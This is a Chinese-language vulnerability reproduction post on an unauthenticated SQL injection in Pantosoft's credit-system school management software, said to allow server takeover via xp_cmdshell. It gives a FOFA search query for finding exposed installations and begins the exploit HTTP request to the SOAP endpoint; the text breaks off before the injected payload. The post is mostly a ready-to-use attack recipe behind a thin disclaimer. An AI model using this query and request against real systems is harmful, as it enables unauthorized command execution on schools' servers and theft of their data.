【漏洞复现】学分制系统 GetCalendarContentById SQL注入漏洞getshell

免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、简介

学分制系统是由上海鹏达计算机系统开发有限公司研发的一款综合性管理系统，专为职业教育设计。它基于对职业教育特点和需求的深入理解，结合教育部相关文件精神，并吸纳专家、学者意见，通过模块化设计，方便学校根据自身教学改革和信息化建设进程，灵活选择和组合适应自身特点的管理软件。

二、漏洞描述

学分制系统 GetCalendarContentById 存在SQL注入漏洞，未经身份验证的远程攻击者可利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。

三、fofa语法

body="www.pantosoft.com" && body="Pantosoft Corporation" || icon_hash="-1632820573"

四、漏洞复现

POST /WebService_PantoSchool.asmx HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Content-Type: text/xml; charset=utf-8
Connection: close
Content-Length: 360

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
  <soapenv:Header/>
    &